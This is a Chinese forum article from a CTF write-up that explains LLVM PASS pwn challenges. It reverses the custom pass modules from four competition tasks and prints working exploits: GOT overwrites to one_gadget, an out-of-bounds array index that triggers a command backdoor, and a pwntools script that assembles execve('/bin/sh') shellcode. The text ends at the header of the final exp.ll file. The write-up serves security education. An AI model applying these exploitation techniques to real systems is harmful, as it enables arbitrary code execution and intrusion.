LLVM PASS PWN 總結

語言: CN / TW / HK

本文為看雪論壇精華文章

看雪論壇作者ID:winmt

前言

近期的比賽裡出現了兩次LLVM PASS PWN類的題目(CISCN初賽和強網杯),但是自己一直沒去研究。最近剛開學還算比較閒,就看了一下LLVM PASS PWN類的題目,這篇文章記錄一下自己對此類題目的總結吧。

LLVM PASS 簡介

LLVM是C++編寫的構架編譯器的框架系統,可用於優化以任意程式語言編寫的程式。

LLVM Pass可用於對程式碼進行優化或者對程式碼插樁(插入新程式碼),LLVM的核心庫中提供了一些Pass類可以繼承,通過實現它的一些方法,可以對傳入的LLVM IR進行遍歷並操作。

LLVM IR即程式碼的中間表示,有三種形式:

  1. .ll 格式:人類可以閱讀的文字

  2. .bc 格式:適合機器儲存的二進位制檔案

  3. 記憶體表示

下面給出.ll格式和.bc格式生成及相互轉換的常用指令清單:

.c -> .llclang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s

準備工作及注意點

需要安裝CTF題目中常用的三個版本的clang及LLVM:

sudo apt install clang-8
sudo apt install llvm-8

sudo apt install clang-10
sudo apt install llvm-10

sudo apt install clang-12
sudo apt install llvm-12

opt是LLVM的優化器和分析器,可載入指定的模組,對輸入的LLVM IR或者LLVM位元組碼進行優化或分析。CTF題目一般會給出所需版本的opt檔案(可用./opt --version檢視版本)或者在README文件中告知opt版本。安裝好llvm後,可在/usr/lib/llvm-xx/bin/opt路徑下找到對應llvm版本的opt檔案(一般不開PIE保護)。

需要注意的是,最好使用題目所給opt同版本的clang生成ll或bc檔案。如:題目所給的檔案是opt-8,就最好使用clang-8 -emit-llvm -S exp.c -o exp.ll命令。

LLVM PASS類題目都會給出一個xxx.so,即自定義的LLVM PASS模組,漏洞點就自然會出現在其中。我們可以使用opt -load ./xxx.so -xxx ./exp.{ll/bc}命令載入模組並啟動LLVM的優化分析(其中-xxx是xxx.so中註冊的PASS的名稱,README文件中一般會給出,也可以通過逆向PASS模組得到)。需要注意的是,若題目給了opt檔案,就用題目指定的opt檔案啟動LLVM並除錯(如命令./opt-8 ...),直接使用opt-8 ...命令是用的系統安裝的opt,可能會和題目所給的有不同。

在打遠端的時候,與核心和QEMU逃逸的題類似:將exp.ll或exp.bc通過base64加密傳輸到遠端伺服器,遠端伺服器會解碼,並將得到的LLVM IR傳給LLVM執行。

嘗試編寫第一個LLVM PASS

參考官方文件: https://llvm.org/docs/WritingAnLLVMPass.html

這裡魔改了一下官方文件中給出的Hello Pass,加入了一些CTF題中常見的LLVM語法:

// Hello.cpp
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;

namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
errs() << "OpcodeName = " << instIter->getOpcodeName() << " NumOperands = " << instIter->getNumOperands() << "\n";
if (instIter->getOpcode() == 56)
{
if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {
errs() << call_inst->getCalledFunction()->getName() << "\n";
for (int i = 0; i < instIter->getNumOperands()-1; i++)
{
if (isa<ConstantInt>(call_inst->getOperand(i)))
{
errs() << "Operand " << i << " = " << dyn_cast<ConstantInt>(call_inst->getArgOperand(i))->getZExtValue() << "\n";
}
}
}
}
}
}
return false;
}
};
}

char Hello::ID = 0;

// Register for opt
static RegisterPass<Hello> X("Hello", "Hello World Pass");

// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});

通過如下命令,可將其編譯為LLVMHello.so模組:

clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`

上述程式碼中的Hello結構體繼承了LLVM核心庫中的FunctionPass類,並重寫了其中的runOnFunction函式(一般的CTF題都是如此)。runOnFunction函式在LLVM遍歷到每一個傳入的LLVM IR中的函式時都會被呼叫。

下面解釋一下上述程式碼中的一些常用LLVM語法:

1、getName()函式用於獲取當前runOnFunction正處理的函式名。

2、第一個for迴圈是對當前處理的函式中的基本塊(比如一些條件分支語句就會產生多個基本塊,在生成的ll檔案中,不同基本塊之間會有換行)遍歷,第二個for迴圈是對每個基本塊中的指令遍歷。

3、getOpcodeName()函式用於獲取指令的操作符的名稱,getNumOperands()用於獲取指令的運算元的個數,getOpcode()函式用於獲取指令的操作符編號,在/usr/include/llvm-xx/llvm/IR/Instruction.def檔案中有對應表,可以看到,56號對應著Call這個操作符:

...
HANDLE_OTHER_INST(56, Call , CallInst ) // Call a function
...

4、當在一個A函式中呼叫了B函式,在LLVM IR中,A會通過Call操作符呼叫B,getCalledFunction()函式就是用於獲取此處B函式的名稱。

5、getOperand(i)是用於獲取第i個運算元(在這裡就是獲取所呼叫函式的第i個引數),getArgOperand()函式與其用法類似,但只能獲取引數,getZExtValue()即get Zero Extended Value,也就是將獲取的運算元轉為無符號擴充套件整數。

6、再看到最內層for迴圈中的instIter->getNumOperands()-1,這裡需要-1是因為對於call和invoke操作符,運算元的數量是實際引數的個數+1(因為將被呼叫者也當成了運算元)。

7、if (isa<ConstantInt>(call_inst->getOperand(i)))這行語句是通過isa判斷當前獲取到的運算元是不是立即數(ConstantInt)。

8、static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一個引數就是註冊的PASS名稱。

下面寫一個用於測試的程式:

// test.c
#include <stdio.h>
#include <unistd.h>

int main()
{
char name[0x10];
puts("Please tell me your name:");
read(0, name, 0x10);
printf("Hello: ");
write(1, name, 0x10);
}

通過clang -emit-llvm -S test.c -o test.ll命令將其生成為LLVM IR(筆者本地的clang版本為10.0.0-4ubuntu1):

; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [26 x i8] c"Please tell me your name:\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"Hello: \00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca [16 x i8], align 16
%2 = call i32 @puts(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
%3 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%4 = call i64 @read(i32 0, i8* %3, i64 16)
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%6 = getelementptr inbounds [16 x i8], [16 x i8]* %1, i64 0, i64 0
%7 = call i64 @write(i32 1, i8* %6, i64 16)
ret i32 0
}

declare dso_local i32 @puts(i8*) #1

declare dso_local i64 @read(i32, i8*, i64) #1

declare dso_local i32 @printf(i8*, ...) #1

declare dso_local i64 @write(i32, i8*, i64) #1

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

接著,通過opt -load ./LLVMHello.so -Hello test.ll命令執行,得到如下結果:

Hello: main
OpcodeName = alloca NumOperands = 1
OpcodeName = call NumOperands = 2
puts
OpcodeName = getelementptr NumOperands = 3
OpcodeName = call NumOperands = 4
read
Operand 0 = 0
Operand 2 = 16
OpcodeName = call NumOperands = 2
printf
OpcodeName = getelementptr NumOperands = 3
OpcodeName = call NumOperands = 4
write
Operand 0 = 1
Operand 2 = 16
OpcodeName = ret NumOperands = 1

讀者可結合上述內容再好好理解一下LLVM IR和LLVM PASS的相關語法。

逆向分析so模組

一般來說,CTF題也都像上面的示例程式一樣,重寫了FunctionPass類中的runOnFunction函式,那麼拿到一個so模組,該如何定位到重寫的runOnFunction函式呢?

如上圖,用IDA對so模組逆向分析,在IDA中搜索vtable,定位到虛表後,虛表最後的一項sub_C880就是重寫的runOnFunction函式,漏洞點一般就在其中。

至於PASS註冊的名稱,一般會在README檔案中給出,若是沒有給出,可通過對__cxa_atexit函式“交叉引用”來定位:

例如,上圖中圈出的字串就是此so模組註冊的PASS名稱,不同的so模組這裡顯示的可能會略有不同,但都能看出PASS名稱。

當然,由於LLVM是C++所寫,讀者在做LLVM的題之前,也應當對C++程式的逆向分析有所瞭解。

gdb除錯方法

接下來介紹一下如何用gdb除錯LLVM的題。

首先用gdb除錯opt並用set args設定引數傳入,然後在main函式下斷點再跑起來即可:

不過,opt並不會一開始就將so模組載入進來,而是在下圖所示的call指令(在call了一堆llvm初始化相關函式後的第一個call)執行完之後,才會載入so模組:

下圖圈出來的就是so模組的基地址(高版本opt會顯示在記憶體分佈表的下方),直接用這個基地址加上對應偏移就可以得到so模組中的彙編指令地址了,也就能下斷點了。

值得一提的是,opt是通過下面幾張圖展示的這條呼叫鏈來執行重寫的runOnFunction函式的:

紅帽杯-2021 simpleVM

用上述介紹的方法確定PASS名為VMPass,重寫的runOnFunction函式是sub_6830。

當函式名為o0o0o0o0時,會最終進入sub_6B80函式。

其中,當在o0o0o0o0函式中呼叫pop(),push(),store(),load(),add(),min()函式的時候都各自定義了不同的操作。

add()和min()是一對函式,會通過第一個引數確定所要操作的全域性變數,然後將第二個引數的值加上或減去。

store()和load()也是一堆函式,會將兩個全域性變數中的一個看作地址,並將地址中的值給另一個全域性變數(load()任意地址讀漏洞)或是將另一個全域性變數中的值存放到這個地址中(store()任意地址寫漏洞)。

由於opt一般是不會開PIE保護的,故這裡可以考慮先利用任意地址讀漏洞通過opt中任意一個函式的got表拿到libc地址,並用add和min函式對其修改,再利用任意地址寫漏洞來劫持opt中的某個got表為one_gadget即可。

簡單說一下如何確定改哪個got表為one_gadget能打通:在上文中給出了從main函式呼叫到重寫的runOnFunction函式的呼叫鏈,我們將<main+11507>處的call跳過,之後呼叫的函式的got表都能改,除錯下如何改能滿足one_gadget條件即可。

筆者測試的環境為Ubuntu 20.04,對應libc-2.31 9.9版本,exp如下:

// clang-8 -emit-llvm -S exp.c -o exp.ll
void add(int num, long long val);
void min(int num, long long val);
void load(int num);
void store(int num);

void o0o0o0o0()
{
add(1, 0x77E100);
load(1);
min(2, 0x9a6d0);
add(2, 0xe3afe);
add(1, 0x870);
store(1);
}

CISCN-2021 satool

重寫的runOnFunction函式為sub_19D0,PASS名為SAPass。

首先,由於是小端序,容易看出會對函式B4ckDo0r進行操作:

但是,接下來的程式碼比較難看懂。仔細分析後,可以發現其中有大量對LLVM IR合法性的判斷和報錯資訊的輸出,這些其實都是可以去掉的,因為我們正常生成的LLVM IR都是合法的。

這題反編譯的其他一些地方也比較奇怪,可能需要配合一些除錯才能搞清楚。

通過除錯,可以知道if ( !(unsigned int)std::string::compare(&v89, "save") )這類語句都是判斷是否在B4ckDo0r中呼叫了某個函式(如save()),並對其進行一系列操作。此外,如-1431655765 * (unsigned int)((unsigned __int64)((char *)&v15[3 * v18 + -3 * NumTotalBundleOperands] - v20) >> 3) == 2這類語句的左側就是取呼叫的這個函式的引數個數。

如下對save函式操作的有效部分中,通過除錯可以確定v25和v30就是傳入的兩個引數,之後會將其均複製入分配的0x20大小的堆塊中,由此也可以推斷出其型別應該為char *:

由上圖可知,byte_2040f8是堆塊地址,stealkey會將堆塊中的值(首八位元組)給byte_204100變數:

在對stealkey函式操作的過程中,經除錯,此處的getSExtValue取的是其第一個引數的值,然後會將堆塊中原有的值加上這個引數:

最後,很明顯,可以通過run函式,將堆塊中的值作為函式指標直接執行:

因此,思路就很顯然了,通過申請的堆塊中殘留的libc地址加上某個偏移到one_gadget,然後直接run就行了。

本機libc是glibc 2.31-9.9版本,下個斷點在malloc(0x18)前,檢視一下堆塊佈局:

可見,只要取走tcache裡0x20的一個堆塊,再申請的0x20的堆塊就會從smallbin裡取了,也就會有libc地址殘留了(main_arena+112)。

由以上分析,可寫出如下exp:

// clang-8 -emit-llvm -S exp.c -o exp.ll
void save(char *a, char *b);
void stealkey();
void fakekey(long long x);
void run();

void B4ckDo0r()
{
save("\n", "\n");
save("", "\n");
stealkey();
fakekey(-0x1ecbf0+0xe3afe);
run();
}

強網杯-2022 yakagame

本題重寫的runOnFunction函式為sub_C880,PASS名稱為ayaka。

首先,本題會對gamestart函式進行優化操作:

可以看到在對呼叫fight函式的操作中,當score指標指向的值大於0x12345678,就可以呼叫到後門函式:

後門函式如下圖,只要控制好cmd指標指向的字串,就可以執行任意命令了:

如何觸發後門函式呢?weaponlist[]陣列是char型別的,即單位元組,就算比boss值要大,其差值也不可能大於0x12345678。

繼續往後看,後面逆向也都不難,merge函式可以將一個weaponlist的值加到另一個上,destroy可以將指定weaponlist清零,upgrade可以將所有weaponlist的值都加上某一個數值。

接著,會有四個奇怪的函式,像是拼音,也不知道啥意思:wuxiangdeyidao,zhanjinniuza,guobapenhuo,tiandongwanxiang可以對cmd字串中每個字元都進行同樣的操作。由此可以想到,可通過這四個函式對cmd字串原有的內容解密成某個命令。

cmd開始是由src複製過來的,其中內容如下所示:

可以看到其中第二個和第七個字元一樣,而那四個函式每次又是對所有字元做同樣的操作,因此不難聯想到最後解密成的命令很可能是cat flag,寫個指令碼爆破一下即可。不過這題實際上也不用如此,繼續對後面進行分析就知道了。

後面就是一個else條件分支,也就是說當呼叫的函式不是上面提及的所有函式的時候,就會進入這個分支。這裡用了C++ STL裡的map,map可在任意型別的值之間建立對映關係,並且會按關鍵字從小到大排序。如:map["abc"] = 123就將abc這個字串與123這個數值間建立了對映關係,並且在通過迭代器遍歷map的時候,關鍵字abc會在關鍵字abd之前遍歷到。

在這個else分支中,會先遍歷map,查詢是否有呼叫的這個函式名作為key,其第一個引數作為value的對映關係。若是有,則會將weaponlist[]陣列下標對應map中此對映關係位置的值改為這個value。若沒有,則會將這個新對映關係加入map中。

我們注意到,此處的v33是有符號的char型別,其範圍是-128~127,故當map中對映關係很多的時候,v33會是負數,此處也就存在一個數組下標越界的漏洞了。

如上圖,可以看到cmd指標和score指標都在weaponlist之前,故可以通過這個陣列下標越界漏洞,修改score指標的最後一位元組,使其錯位,從而指向很大的數字,觸發後門函式。

由於opt沒開PIE保護,故直接將cmd指標指向opt中的某個字串末尾的sh即可:

最終,可寫出exp如下:

// clang-8 -emit-llvm -S exp.c -o exp.ll
void winmt000(int x);
void winmt001(int x);
void winmt002(int x);
void winmt003(int x);
void winmt004(int x);
void winmt005(int x);
void winmt006(int x);
void winmt007(int x);
void winmt008(int x);
void winmt009(int x);
void winmt010(int x);
void winmt011(int x);
void winmt012(int x);
void winmt013(int x);
void winmt014(int x);
void winmt015(int x);
void winmt016(int x);
void winmt017(int x);
void winmt018(int x);
void winmt019(int x);
void winmt020(int x);
void winmt021(int x);
void winmt022(int x);
void winmt023(int x);
void winmt024(int x);
void winmt025(int x);
void winmt026(int x);
void winmt027(int x);
void winmt028(int x);
void winmt029(int x);
void winmt030(int x);
void winmt031(int x);
void winmt032(int x);
void winmt033(int x);
void winmt034(int x);
void winmt035(int x);
void winmt036(int x);
void winmt037(int x);
void winmt038(int x);
void winmt039(int x);
void winmt040(int x);
void winmt041(int x);
void winmt042(int x);
void winmt043(int x);
void winmt044(int x);
void winmt045(int x);
void winmt046(int x);
void winmt047(int x);
void winmt048(int x);
void winmt049(int x);
void winmt050(int x);
void winmt051(int x);
void winmt052(int x);
void winmt053(int x);
void winmt054(int x);
void winmt055(int x);
void winmt056(int x);
void winmt057(int x);
void winmt058(int x);
void winmt059(int x);
void winmt060(int x);
void winmt061(int x);
void winmt062(int x);
void winmt063(int x);
void winmt064(int x);
void winmt065(int x);
void winmt066(int x);
void winmt067(int x);
void winmt068(int x);
void winmt069(int x);
void winmt070(int x);
void winmt071(int x);
void winmt072(int x);
void winmt073(int x);
void winmt074(int x);
void winmt075(int x);
void winmt076(int x);
void winmt077(int x);
void winmt078(int x);
void winmt079(int x);
void winmt080(int x);
void winmt081(int x);
void winmt082(int x);
void winmt083(int x);
void winmt084(int x);
void winmt085(int x);
void winmt086(int x);
void winmt087(int x);
void winmt088(int x);
void winmt089(int x);
void winmt090(int x);
void winmt091(int x);
void winmt092(int x);
void winmt093(int x);
void winmt094(int x);
void winmt095(int x);
void winmt096(int x);
void winmt097(int x);
void winmt098(int x);
void winmt099(int x);
void winmt100(int x);
void winmt101(int x);
void winmt102(int x);
void winmt103(int x);
void winmt104(int x);
void winmt105(int x);
void winmt106(int x);
void winmt107(int x);
void winmt108(int x);
void winmt109(int x);
void winmt110(int x);
void winmt111(int x);
void winmt112(int x);
void winmt113(int x);
void winmt114(int x);
void winmt115(int x);
void winmt116(int x);
void winmt117(int x);
void winmt118(int x);
void winmt119(int x);
void winmt120(int x);
void winmt121(int x);
void winmt122(int x);
void winmt123(int x);
void winmt124(int x);
void winmt125(int x);
void winmt126(int x);
void winmt127(int x);
void winmt128(int x);
void winmt129(int x);
void winmt130(int x);
void winmt131(int x);
void winmt132(int x);
void winmt133(int x);
void winmt134(int x);
void winmt135(int x);
void winmt136(int x);
void winmt137(int x);
void winmt138(int x);
void winmt139(int x);
void winmt140(int x);
void winmt141(int x);
void winmt142(int x);
void winmt143(int x);
void winmt144(int x);
void winmt145(int x);
void winmt146(int x);
void winmt147(int x);
void winmt148(int x);
void winmt149(int x);
void winmt150(int x);
void winmt151(int x);
void winmt152(int x);
void winmt153(int x);
void winmt154(int x);
void winmt155(int x);
void winmt156(int x);
void winmt157(int x);
void winmt158(int x);
void winmt159(int x);
void winmt160(int x);
void winmt161(int x);
void winmt162(int x);
void winmt163(int x);
void winmt164(int x);
void winmt165(int x);
void winmt166(int x);
void winmt167(int x);
void winmt168(int x);
void winmt169(int x);
void winmt170(int x);
void winmt171(int x);
void winmt172(int x);
void winmt173(int x);
void winmt174(int x);
void winmt175(int x);
void winmt176(int x);
void winmt177(int x);
void winmt178(int x);
void winmt179(int x);
void winmt180(int x);
void winmt181(int x);
void winmt182(int x);
void winmt183(int x);
void winmt184(int x);
void winmt185(int x);
void winmt186(int x);
void winmt187(int x);
void winmt188(int x);
void winmt189(int x);
void winmt190(int x);
void winmt191(int x);
void winmt192(int x);
void winmt193(int x);
void winmt194(int x);
void winmt195(int x);
void winmt196(int x);
void winmt197(int x);
void winmt198(int x);
void winmt199(int x);
void winmt200(int x);
void winmt201(int x);
void winmt202(int x);
void winmt203(int x);
void winmt204(int x);
void winmt205(int x);
void winmt206(int x);
void winmt207(int x);
void winmt208(int x);
void winmt209(int x);
void winmt210(int x);
void winmt211(int x);
void winmt212(int x);
void winmt213(int x);
void winmt214(int x);
void winmt215(int x);
void winmt216(int x);
void winmt217(int x);
void winmt218(int x);
void winmt219(int x);
void winmt220(int x);
void winmt221(int x);
void winmt222(int x);
void winmt223(int x);
void winmt224(int x);
void winmt225(int x);
void winmt226(int x);
void winmt227(int x);
void winmt228(int x);
void winmt229(int x);
void winmt230(int x);
void winmt231(int x);
void winmt232(int x);
void winmt233(int x);
void winmt234(int x);
void winmt235(int x);
void winmt236(int x);
void winmt237(int x);
void winmt238(int x);
void winmt239(int x);
void winmt240(int x);

void fight(int x);

void gamestart()
{
winmt000(0);
winmt001(0);
winmt002(0);
winmt003(0);
winmt004(0);
winmt005(0);
winmt006(0);
winmt007(0);
winmt008(0);
winmt009(0);
winmt010(0);
winmt011(0);
winmt012(0);
winmt013(0);
winmt014(0);
winmt015(0);
winmt016(0);
winmt017(0);
winmt018(0);
winmt019(0);
winmt020(0);
winmt021(0);
winmt022(0);
winmt023(0);
winmt024(0);
winmt025(0);
winmt026(0);
winmt027(0);
winmt028(0);
winmt029(0);
winmt030(0);
winmt031(0);
winmt032(0);
winmt033(0);
winmt034(0);
winmt035(0);
winmt036(0);
winmt037(0);
winmt038(0);
winmt039(0);
winmt040(0);
winmt041(0);
winmt042(0);
winmt043(0);
winmt044(0);
winmt045(0);
winmt046(0);
winmt047(0);
winmt048(0);
winmt049(0);
winmt050(0);
winmt051(0);
winmt052(0);
winmt053(0);
winmt054(0);
winmt055(0);
winmt056(0);
winmt057(0);
winmt058(0);
winmt059(0);
winmt060(0);
winmt061(0);
winmt062(0);
winmt063(0);
winmt064(0);
winmt065(0);
winmt066(0);
winmt067(0);
winmt068(0);
winmt069(0);
winmt070(0);
winmt071(0);
winmt072(0);
winmt073(0);
winmt074(0);
winmt075(0);
winmt076(0);
winmt077(0);
winmt078(0);
winmt079(0);
winmt080(0);
winmt081(0);
winmt082(0);
winmt083(0);
winmt084(0);
winmt085(0);
winmt086(0);
winmt087(0);
winmt088(0);
winmt089(0);
winmt090(0);
winmt091(0);
winmt092(0);
winmt093(0);
winmt094(0);
winmt095(0);
winmt096(0);
winmt097(0);
winmt098(0);
winmt099(0);
winmt100(0);
winmt101(0);
winmt102(0);
winmt103(0);
winmt104(0);
winmt105(0);
winmt106(0);
winmt107(0);
winmt108(0);
winmt109(0);
winmt110(0);
winmt111(0);
winmt112(0);
winmt113(0);
winmt114(0);
winmt115(0);
winmt116(0);
winmt117(0);
winmt118(0);
winmt119(0);
winmt120(0);
winmt121(0);
winmt122(0);
winmt123(0);
winmt124(0);
winmt125(0);
winmt126(0);
winmt127(0);
winmt128(0);
winmt129(0);
winmt130(0);
winmt131(0);
winmt132(0);
winmt133(0);
winmt134(0);
winmt135(0);
winmt136(0);
winmt137(0);
winmt138(0);
winmt139(0);
winmt140(0);
winmt141(0);
winmt142(0);
winmt143(0);
winmt144(0);
winmt145(0);
winmt146(0);
winmt147(0);
winmt148(0);
winmt149(0);
winmt150(0);
winmt151(0);
winmt152(0);
winmt153(0);
winmt154(0);
winmt155(0);
winmt156(0);
winmt157(0);
winmt158(0);
winmt159(0);
winmt160(0);
winmt161(0);
winmt162(0);
winmt163(0);
winmt164(0);
winmt165(0);
winmt166(0);
winmt167(0);
winmt168(0);
winmt169(0);
winmt170(0);
winmt171(0);
winmt172(0);
winmt173(0);
winmt174(0);
winmt175(0);
winmt176(0);
winmt177(0);
winmt178(0);
winmt179(0);
winmt180(0);
winmt181(0);
winmt182(0);
winmt183(0);
winmt184(0);
winmt185(0);
winmt186(0);
winmt187(0);
winmt188(0);
winmt189(0);
winmt190(0);
winmt191(0);
winmt192(0);
winmt193(0);
winmt194(0);
winmt195(0);
winmt196(0);
winmt197(0);
winmt198(0);
winmt199(0);
winmt200(0);
winmt201(0);
winmt202(0);
winmt203(0);
winmt204(0);
winmt205(0);
winmt206(0);
winmt207(0);
winmt208(0);
winmt209(0);
winmt210(0);
winmt211(0);
winmt212(0);
winmt213(0);
winmt214(0);
winmt215(0);
winmt216(0);
winmt217(0);
winmt218(0);
winmt219(0);
winmt220(0);
winmt221(0);
winmt222(0);
winmt223(0);
winmt224(0);
winmt225(0);
winmt226(0);
winmt227(0);
winmt228(0);
winmt229(0);
winmt230(0);
winmt231(0);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);
winmt236(0);
winmt237(0);
winmt238(0);
winmt239(0);
winmt240(0x90);

winmt240(0x90);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);

fight(0);
}

CISCN-2022 satool

這題沒去符號,重寫的runOnFunction函式就叫'anonymous namespace'::MBAPass::runOnFunction,LLVM PASS的名稱是mba。

首先,很容易注意到如下幾行程式碼:

先是將this[4]段的許可權改為可讀可寫,然後執行handle函式,再將此段許可權改為可讀可執行,然後執行callCode函式:

這裡直接執行了this[4]段上的shellcode。

通過除錯,可以知道this[4]段初始化全是0xc3,也就對應ret指令。因此,思路其實很顯然,通過handle函式,往this[4]段上寫入shellcode,然後跳轉執行即可。此題對函式名沒有要求,任何函式都能被同樣地進行這些操作。

如上圖,這題是倒序對基本塊中的指令進行處理的,getTerminator函式是取末尾的指令,第一個if判斷末尾指令的第一個運算元是否是常數,第二個else if判斷末尾指令的第一個運算元是否為函式的引數,如果都不是,說明是變數,那就進入到最後else的分支。

先分析一下出題人自定義的幾個往this[4]段寫彙編指令的函式:

1.writeMovImm64函式

很明顯,this[5]是存放著目前彙編指令寫到了何處的指標。當writeMovImm64函式的第二個引數為0時,寫入的彙編指令是0x480xB8加上第三個引數作為立即數,當writeMovImm64函式的第二個引數為1時,寫入的彙編指令是0x480xBB加上第三個引數作為立即數。

測試了一下,得到writeMovImm64(this, 0, val)是寫入movabs rax, val指令,writeMovImm64(this, 1, val)是寫入movabs rbx, val指令,其中val可以是八位元組數,共十位元組。

2.writeInc函式

同理,可分析出是寫入inc rax指令,三位元組。

3.writeOpReg函式

同理,可分析出是寫入add rax, rbx指令,三位元組。

4.writeRet函式

同理,可分析出是寫入ret指令,一位元組。

再回到else分支中,首先寫入了movabs rax, 0指令,v30是this[4]段首地址加上0xff0後的地址,定義了兩個C++ STL的stack,其中v25存放一個數,之後可用來控制正負,初始值為1,v26存放著運算元,首先壓進棧了最後一條指令ret i64 %xxx中的運算元xxx(即一個變數)。然後進入了一個while迴圈,當寫入的彙編指令長度大於0xff0就會退出迴圈,或者當v26的棧為空時,會寫入一個ret指令,然後跳轉迴圈。

然後,在while迴圈中,每次會彈出兩個棧的棧頂元素,然後再通過v26棧彈出的變數,找到LLVM IR中對應這個變數操作的指令行。接著,獲取了這行指令的操作符,只能為13(add)或15(sub),這個在/usr/include/llvm-xx/llvm/IR/Instruction.def可查到。之後,又取了這行指令的兩個運算元,如果運算元val是常數:若為±1,則寫入inc rax指令,否則寫入movabs rbx, val(*v22); add rax, rbx指令,其中v22是從v25棧頂取出的數,預設為1。如果運算元不是常數也非引數,就說明是個變數,那麼就壓入棧中。

如果操作符是sub,那麼就將從v25棧頂取出的數v22取反,然後再執行一遍上述過程,這樣之後加上第二個運算元val乘上v22的結果就相當於減去val了。

至此,本題核心部分基本都逆向完成了。然而,我們只能往this[4]段寫入指定的幾個指令,沒法直接寫入可拿到許可權的shellcode。注意到,當我們往this[4]段寫入超過0xff0長度幾個位元組也是可以的,不過在寫完之後會直接退出while迴圈,也就不會在最後寫入ret指令了,但是由於this[4]段初始都是ret指令,佔一個位元組,所以即使有位元組超出,最後仍然是ret指令,執行完寫入的彙編指令也可以回去,進行第二次彙編指令的讀入。

於是我們想到,可以第一次先向this[4]段寫入0xff0個位元組加上超過幾個位元組,讓超過的幾個位元組中存在某個跳轉指令,然後第二次再向this[4]段寫入指令到第一次超出的位元組中的跳轉指令之前,這樣最後就能成功執行第一次超出位元組中的跳轉指令了。

這裡我們採用短跳轉指令(jmp short xxx)比較方便,其中xxx是相對於這條短跳轉指令的偏移(範圍是-128~127),也就是無條件跳轉到此偏移的位置。jmp short對應的機器碼是0xEB,後面再加上一個位元組的偏移(負數用補碼)即可,一個短跳轉指令共兩個位元組。

我們肯定是想最後跳轉到shellcode上的,但是shellcode改寫在哪裡呢?我們可控的部分只有每條movabs rbx, xxx指令中xxx位置的八個位元組,於是我們可以在這些地方寫入一行行的shellcode,並用nop空指令補全六位以後,在之後寫上兩個位元組的短跳轉指令,跳轉到下一行shellcode即可,這樣就能順利地執行到任意shellcode了,如下圖:

至於具體的構造方式,其實隨意怎麼樣都行,這裡就不展開說了,直接給出生成shellcode的指令碼:

from pwn import*
context(os = 'linux', arch = 'amd64')

shellcode = [
"mov edi, 0x68732f6e",
"shl rdi, 24",
"mov ebx, 0x69622f",
"add rdi, rbx",
"push rdi",
"push rsp",
"pop rdi",
"xor rsi, rsi",
"xor rdx, rdx",
"push 59",
"pop rax",
"syscall"
]

for sc in shellcode:
print(u64(asm(sc).ljust(6, b'\x90') + b'\xEB\xEB'))

print(u16(b'\xEB\xE4')) # 最後超出0xff0位元組部分的跳轉指令

由於這題的LLVM IR中指令的操作符只能是add或sub,故不能用C語言直接編譯生成LLVM IR檔案,不然會有很多其他的操作符。所以建議先用C語言寫兩個空函式,再通過clang-12對其編譯生成ll檔案,然後直接在ll檔案中仿照之前的題目手寫LLVM IR即可。

最終寫出的exp.ll如下:

; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

